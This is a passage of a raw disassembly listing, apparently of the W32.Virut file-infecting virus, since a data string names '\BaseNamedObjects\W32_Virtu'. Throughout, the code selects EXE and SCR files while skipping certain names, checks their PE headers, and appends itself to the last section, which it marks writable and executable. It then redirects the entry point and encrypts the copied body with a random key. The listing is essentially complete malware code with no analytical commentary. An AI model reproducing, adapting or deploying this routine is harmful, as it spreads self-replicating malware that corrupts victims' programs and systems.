loc_4FBD7C:				; CODE XREF: sub_4FBD77+23j
		jecxz	short locret_4FBDB3
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_4FBDB3
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_4FBD7C
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+40396Ah]

locret_4FBDB3:				; CODE XREF: sub_4FBD77:loc_4FBD7Cj
					; sub_4FBD77+1Dj ...
		retn
sub_4FBD77	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FBDB4	proc near		; CODE XREF: .XPack:004FBE40p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_4FBDB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4FBDC1:				; CODE XREF: .XPack:004FBDE2j
		mov	ecx, edi
		jmp	short loc_4FBDD0
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_4FBDCC:				; CODE XREF: .XPack:004FBDDEj
		mov	ebx, edi
		xor	ecx, ecx


loc_4FBDD0:				; CODE XREF: .XPack:004FBDC3j
					; .XPack:004FBDE6j
		lodsb
		cmp	al, 61h
		jb	short loc_4FBDDB
		cmp	al, 7Ah
		ja	short loc_4FBDDB
		sub	al, 20h


loc_4FBDDB:				; CODE XREF: .XPack:004FBDD3j
					; .XPack:004FBDD7j
		stosb
		cmp	al, 5Ch
		jz	short loc_4FBDCC
		cmp	al, 2Eh
		jz	short loc_4FBDC1
		cmp	al, 0
		jnz	short loc_4FBDD0
		jecxz	short locret_4FBDB3
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_4FBDFE
		cmp	eax, 524353h
		jnz	locret_4FBD31


loc_4FBDFE:				; CODE XREF: .XPack:004FBDF1j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_4FBD31
		cmp	eax, 4E554357h
		jz	locret_4FBD31
		cmp	eax, 32334357h
		jz	locret_4FBD31
		cmp	eax, 4F545350h
		jz	locret_4FBD31
		xor	ebx, ebx
		call	sub_4FBC60
		jz	locret_4FBD31
		xor	edx, edx
		call	sub_4FBE56
		call	sub_4FBDB4
		call	$+5
		pop	ebp
		sub	ebp, offset loc_402F8A
		jmp	loc_4FC193

; =============== S U B	R O U T	I N E =======================================



sub_4FBE56	proc near		; CODE XREF: .XPack:004FBE3Bp

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+403972h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_4FC193
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_4FC193
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_4FC193
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_4FC193
		jecxz	short loc_4FBEA5
		cmp	ecx, 101h
		jbe	loc_4FC193


loc_4FBEA5:				; CODE XREF: sub_4FBE56+41j
		call	sub_4FBD77
		jb	loc_4FC193
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_4FA9AF
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	[ebp+403430h], dh


loc_4FBECF:				; CODE XREF: sub_4FBE56+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_4FBEEA
		call	sub_4FA9AF
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+403431h], edx
		jmp	short loc_4FBECF
; ---------------------------------------------------------------------------


loc_4FBEEA:				; CODE XREF: sub_4FBE56+7Ej
					; sub_4FBE56+CDj ...
		push	6
		pop	ecx


loc_4FBEF0:				; CODE XREF: sub_4FBE56+B8j
		push	6
		pop	eax
		call	sub_4FA9AF
		mov	al, byte ptr ss:loc_403429[ebp]
		xchg	al, byte ptr loc_403429[edx+ebp]
		mov	byte ptr ss:loc_403429[ebp], al
		loop	loc_4FBEF0
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_4FBF25
		cmp	byte ptr ss:loc_40342B[ebp], 1
		jz	short loc_4FBEEA


loc_4FBF25:				; CODE XREF: sub_4FBE56+C4j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_4FBF4C
		cmp	byte ptr ss:loc_403429[ebp], 5
		jz	short loc_4FBEEA
		cmp	byte ptr ss:loc_40342A[ebp], 5
		jz	short loc_4FBEEA
		cmp	byte ptr ss:loc_40342B[ebp], 5
		jz	short loc_4FBEEA


loc_4FBF4C:				; CODE XREF: sub_4FBE56+D9j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FBF61
		cmp	byte ptr ss:loc_403429[ebp], 2
		ja	short loc_4FBEEA


loc_4FBF61:				; CODE XREF: sub_4FBE56+100j
		and	dword ptr [ebp+4039AEh], 0
		call	loc_4FB3FC
		call	sub_4FBD32
		call	sub_4FC19C
		mov	ebx, [ebp+403976h]
		call	sub_4FBC60
		jz	loc_4FC193
		mov	esi, [ebp+403972h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_4FBD77
		jb	loc_4FC193
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_4FBFC9
		lea	esi, [ebp+40343Ch]
		mov	ecx, dword ptr ss:loc_40106D[ebp]
		rep movsb


loc_4FBFC9:				; CODE XREF: sub_4FBE56+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, sub_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_4FBFDD
		rep movsb


loc_4FBFDD:				; CODE XREF: sub_4FBE56+183j
		test	dword ptr [ebp+403431h], 10000000h
		jz	loc_4FC095
		push	dword ptr [ebx+28h]
		call	sub_4FB164
		mov	edx, [ebp+4039A6h]
		test	edx, edx
		jz	loc_4FC095
		mov	esi, [ebp+403972h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_4FC01A
		xor	ecx, ecx


loc_4FC01A:				; CODE XREF: sub_4FBE56+1C0j
		add	esi, [edx+14h]
		cmp	ecx, dword ptr ss:loc_40106D[ebp]
		mov	ecx, dword ptr ss:loc_40106D[ebp]
		jb	short loc_4FC081
		mov	edi, [esp+14h+var_14]
		and	dword ptr ss:loc_40106D[ebp], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, dword ptr ss:loc_403986[ebp]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4FC05A
		neg	dword ptr [eax]


loc_4FC05A:				; CODE XREF: sub_4FBE56+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+4039AEh], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4FC078
		neg	dword ptr [eax]


loc_4FC078:				; CODE XREF: sub_4FBE56+21Ej
		push	ecx
		call	sub_4FBD32
		pop	ecx
		jmp	short loc_4FC08D
; ---------------------------------------------------------------------------


loc_4FC081:				; CODE XREF: sub_4FBE56+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_4FC08D:				; CODE XREF: sub_4FBE56+229j
		lea	esi, [ebp+40343Ch]
		rep movsb


loc_4FC095:				; CODE XREF: sub_4FBE56+191j
					; sub_4FBE56+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_4FC0AE
		imul	edx, 12345678h


loc_4FC0AE:				; CODE XREF: sub_4FBE56+250j
		mov	[eax-1], dl
		call	sub_4FA082
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_4FC0DF
		mov	[ebp+4039AEh], ecx
		add	eax, dword ptr ss:loc_40106D[ebp]
		and	dword ptr [edi+6Dh], 0


loc_4FC0DF:				; CODE XREF: sub_4FBE56+274j
		sub	eax, [ebx+28h]
		push	dword ptr [ebp+40397Eh]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FC104
		push	edx
		call	sub_4FBA2A
		pop	edx


loc_4FC104:				; CODE XREF: sub_4FBE56+2A5j
		mov	ecx, [ebp+4039AEh]
		jecxz	short loc_4FC10F
		mov	[ebx+28h], ecx


loc_4FC10F:				; CODE XREF: sub_4FBE56+2B4j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+403976h]
		cmp	[edx+8], ecx
		jnb	short loc_4FC120
		mov	[edx+8], ecx


loc_4FC120:				; CODE XREF: sub_4FBE56+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+40397Ah]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr [ebp+403431h], 10000000h
		jz	short loc_4FC151
		add	ecx, dword ptr ss:loc_40106D[ebp]


loc_4FC151:				; CODE XREF: sub_4FBE56+2F3j
		mov	dh, 0
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_4FC173
		inc	dh
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_4FC173
		mov	dh, [ebp+403430h]


loc_4FC173:				; CODE XREF: sub_4FBE56+307j
					; sub_4FBE56+315j
		test	dword ptr [ebp+403431h], 4000h
		jnz	short loc_4FC18A


loc_4FC17F:				; CODE XREF: sub_4FBE56+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_4FC17F
		jmp	short loc_4FC193
; ---------------------------------------------------------------------------


loc_4FC18A:				; CODE XREF: sub_4FBE56+327j
					; sub_4FBE56+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_4FC18A


loc_4FC193:				; CODE XREF: .XPack:004FBE51j
					; sub_4FBE56+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_4FBE56	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FC19C	proc near		; CODE XREF: sub_4FBE56+11Cp
		cmp	dword ptr [ebp+403956h], 0
		jz	locret_4FBD31
		push	dword ptr [ebp+403972h]
		call	dword ptr [ebp+4035C4h]


loc_4FC1B5:				; CODE XREF: sub_4FBC60+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr ss:loc_40353C[ebp]
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr ss:loc_4035B8[ebp]


loc_4FC1DD:				; CODE XREF: sub_4FBC60+6Bj
					; sub_4FBC60+82j ...
		push	dword ptr [ebp+403956h]
		call	dword ptr ss:loc_40353C[ebp]


loc_4FC1E9:				; CODE XREF: sub_4FBC60+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr ss:loc_403952[ebp]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	dword ptr [ebp+403956h], 0
		retn
sub_4FC19C	endp

; ---------------------------------------------------------------------------
		dd 0E8h, 16A5D00h, 3349ED81h, 0F0580040h, 8085C10Fh, 85004015h
		dd 0C883C3C0h, 0C10FF0FFh, 40158085h, 103DC300h, 75002A00h
		dd 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h, 7EE80575h
		dd 0E8FFFFFBh, 0FFFFFFD2h, 2DFF2E61h, 12345678h, 25B8h
		dd 0A5E86000h, 75FFFFFFh, 24448B39h, 4EB58D30h,	8B004038h
		dd 81660850h, 7302063Ah, 685625h, 8B00FF00h, 52006AC4h
		dd 0F895FF50h, 83004035h, 3E8108C4h, 5C3F3F5Ch,	0C6830375h
		dd 0FB2BE804h, 7FE8FFFFh, 61FFFFFFh, 74B8C3h, 0B1EB0000h
		dd 2FB8h, 10E800h, 20C20000h, 30B800h, 3E80000h, 0C2000000h
		dd 548D0024h, 2ECD0C24h, 7C00F883h, 0E86019h, 8B000000h
		dd 5D302454h, 0ED811A8Bh, 403413h, 0FFE539E8h, 4C261FFh
		dd 3020600h, 0EF050701h, 103DE71Ah, 8C15FF06h, 90010010h
		dd 3Bh dup(0)
		dd 3BEE39D0h, 478F2C88h, 96A538D4h, 79F5B87Dh, 88BEB15Bh
		dd 7C809B47h, 7C8308ADh, 7C910331h, 7C80ADA0h, 3 dup(0)
		dd 7C80BDB6h, 7C801A24h, 7C80945Ch, 7C802367h, 7C81042Ch
		dd 7C810637h, 7C864B0Fh, 7C80C058h, 7C80E7ECh, 7C81153Ch
		dd 7C810A77h, 7C831C45h, 7C80B6A1h, 7C8608FFh, 7C835DCAh
		dd 7C8111DAh, 7C812ADEh, 7C801D77h, 7C80B905h, 7C80BB76h
		dd 7C8309E1h, 7C863DE5h, 7C863F58h, 7C812782h, 7C831CB8h
		dd 7C802442h, 7C810B1Ch, 7C80B974h, 7C809A51h, 7C810D87h
		dd 7C90D460h, 7C90D682h, 7C90D754h, 7C90D769h, 7C90D793h
		dd 7C90DC55h, 7C90DCFDh, 7C90DD90h, 7C90DEB6h, 7C90EA32h
		dd 7C9130C6h, 15h dup(0)
		dd 380036h, 4FC518h, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	330057h
		dd 5F0032h, 690056h, 740072h, 75h, 0BBh	dup(0)
		dd 710000h, 0Ch	dup(0)
		dd 9DF00000h, 4Fh, 115Ch dup(0)
_XPack		ends

; Section 3. (virtual address 00101000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00100E00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 501000h
		align 2000h
_idata2		ends


		end start